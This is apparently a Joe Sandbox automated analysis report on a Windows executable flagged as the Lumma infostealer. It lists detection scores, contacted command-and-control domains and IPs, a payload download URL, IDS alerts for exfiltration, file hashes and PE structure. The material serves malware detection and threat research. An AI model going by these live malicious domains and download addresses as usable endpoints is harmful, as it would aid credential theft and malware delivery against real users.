Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
crisiwarny.store	104.21.95.91	true	true		unknown
presticitpo.store	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Reputation
presticitpo.store	true	unknown
scriptyprefej.store	true	unknown
https://crisiwarny.store/api	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
navygenerayk.store	true	unknown
founpiuer.store	true	unknown
thumbystriw.store	true	unknown
crisiwarny.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://crisiwarny.storea	file.exe, 00000000.00000002.2292270353.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291013532.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290790362.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/a	file.exe, 00000000.00000003.2182338603.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2141345481.0000000005896000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exeV	file.exe, 00000000.00000002.2291918514.0000000000B8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290525499.0000000000B70000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291052902.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/e	file.exe, 00000000.00000003.2290458871.0000000000BF7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2292672576.0000000000C0E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290505649.0000000000C06000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/apig	file.exe, 00000000.00000003.2178495956.0000000000BFD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178534675.0000000000BFF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exeP	file.exe, 00000000.00000002.2291389458.0000000000AFA000.00000004.00000010.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/c;	file.exe, 00000000.00000002.2291918514.0000000000B8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290525499.0000000000B70000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291052902.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2139026425.000000000590D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2139026425.000000000590D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/Y	file.exe, 00000000.00000003.2189500587.0000000000C06000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2153297362.0000000000C0D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2138400659.0000000000C0B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2140333555.0000000005B26000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/	file.exe, 00000000.00000002.2291918514.0000000000B8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290525499.0000000000B70000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290525499.0000000000B5E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291052902.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2291729375.0000000000B5E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exeB	file.exe, 00000000.00000002.2291918514.0000000000B8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290525499.0000000000B70000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291052902.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.micro0	file.exe, 00000000.00000003.2088409547.0000000000BA7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000003.2141345481.0000000005896000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store:443/api	file.exe, 00000000.00000003.2157138603.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2297377516.0000000005800000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157204984.0000000000BFF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2139026425.000000000590D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2139026425.000000000590D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2139026425.000000000590D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/d;	file.exe, 00000000.00000002.2291918514.0000000000B8C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290525499.0000000000B70000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2291052902.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000003.2291052902.0000000000B8B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290790362.0000000000BEA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2292609783.0000000000BF3000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290878634.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2291729375.0000000000B54000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2290525499.0000000000B54000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/	file.exe, 00000000.00000003.2138400659.0000000000C0B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2178534675.0000000000BFF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157204984.0000000000BFF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2140333555.0000000005B26000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2102716168.0000000005838000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/0.8	file.exe, 00000000.00000003.2153297362.0000000000C0D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/s	file.exe, 00000000.00000003.2182256843.0000000000C06000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/r	file.exe, 00000000.00000003.2189500587.0000000000C06000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.95.91	crisiwarny.store	United States		13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543322
Start date and time:	2024-10-27 17:16:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@2/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 3840 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:17:06	API Interceptor	11x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.95.91	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	SecuriteInfo.com.Win32.Evo-gen.20836.29869.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
crisiwarny.store	MilkaCheats.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	SecuriteInfo.com.Win64.CrypterX-gen.14264.32283.exe	Get hash	malicious	LummaC	Browse	104.21.64.165
	MilkaCheats.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	17300406664afe7aec458893633a7734ab1b119dd638ebaf863f6f65e2e732ab9f2f071556149.dat-decoded.exe	Get hash	malicious	Zhark RAT	Browse	104.21.44.95
	17300406664afe7aec458893633a7734ab1b119dd638ebaf863f6f65e2e732ab9f2f071556149.dat-decoded.exe	Get hash	malicious	Zhark RAT	Browse	172.67.198.131
	care.rtf	Get hash	malicious	Unknown	Browse	104.21.43.157
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	na.doc	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	na.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	SecuriteInfo.com.Win64.CrypterX-gen.14264.32283.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	MilkaCheats.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91

Process:	C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2771456
Entropy (8bit):	6.486941634190806
Encrypted:	false
SSDEEP:	49152:JgeLa8mH4DLBGhqwAFIk5nUp348f1/1p:Jgr8i4DLohqwAIk5nm3J1d
MD5:	8A631FA6EE0D28F9E1099CCEEBA9C4B1
SHA1:	6467A8F1D008C0C9EC81168BCA60787978F7B9C0
SHA-256:	5B66D7B455908F70B20FD29366EBFB7B74F3D58C23F15CFBA9C29FBCAEA051DD
SHA-512:	CAAF13649D9880B14C7BECE6B4608755C8537DBF9AE51C0E7A2F4C4ABBD9353ECB729A94E8830B6A44F03C223436D439C9BBD633024E7BF3DE7BF9F9690C00B1
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ........................+.....y....`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...keswcxpm.........)..:..............@...vytofjkn. ..........$.............@....taggant.@......"...(*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.530830051445821
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'974'720 bytes
MD5:	281f372246777419ceaaafdbd95dc327
SHA1:	0a0efd12b83957e5cfa8648c87a024f2ee98fc6b
SHA256:	be67deb283e12090b9fef8715b5043be31b83442272d39ab98eb19384c0349b7
SHA512:	8c69dd5a33ddf4875305609ae5e9740ed58a1b28a5f15291813f4225b25a75921e2e98022a58c207fbae9ca27484644549b590464c097beb8e20eea89d7a8a58
SSDEEP:	49152:KERM3LQ02fvJzLMnqEHCu3wLJqU+yV+OJE8:LgU06JzLWqEiu30f+yQOJE
TLSH:	BDD548A27909B2CFE48E7278D423CE87586D07B947214CC7A86D75BA7D63CC139BAC14
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J...........p0...........@...........................0......O....@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x707000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6BBD2D11BAh
cmovb ebp, dword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	5c4b2b4916d0169f611878c808dbb3f5	False	0.998046875	data	7.9794229370208845	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nipiwgbt	0x5b000	0x2ab000	0x2aae00	8e2211d22a366f8d9786f35e4f72a705	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mludmddd	0x306000	0x1000	0x400	7b6c171a9cd30aeb71e288d266444184	False	0.7529296875	data	5.94553311762111	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x307000	0x3000	0x2200	788f84a1feceb0d3ec485c34dc6fdc56	False	0.060776654411764705	DOS executable (COM)	0.7804028259569757	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-27T17:17:08.300938+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49706	104.21.95.91	443	TCP
2024-10-27T17:17:08.300938+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49706	104.21.95.91	443	TCP
2024-10-27T17:17:09.540989+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49707	104.21.95.91	443	TCP
2024-10-27T17:17:09.540989+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49707	104.21.95.91	443	TCP
2024-10-27T17:17:17.360859+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49711	104.21.95.91	443	TCP
2024-10-27T17:17:18.461757+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49712	104.21.95.91	443	TCP
2024-10-27T17:17:21.229205+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49713	104.21.95.91	443	TCP
2024-10-27T17:17:22.142033+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49714	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 17:17:07.073920012 CET	49706	443	192.168.2.5	104.21.95.91
Oct 27, 2024 17:17:07.073981047 CET	443	49706	104.21.95.91	192.168.2.5
Oct 27, 2024 17:17:07.074086905 CET	49706	443	192.168.2.5	104.21.95.91
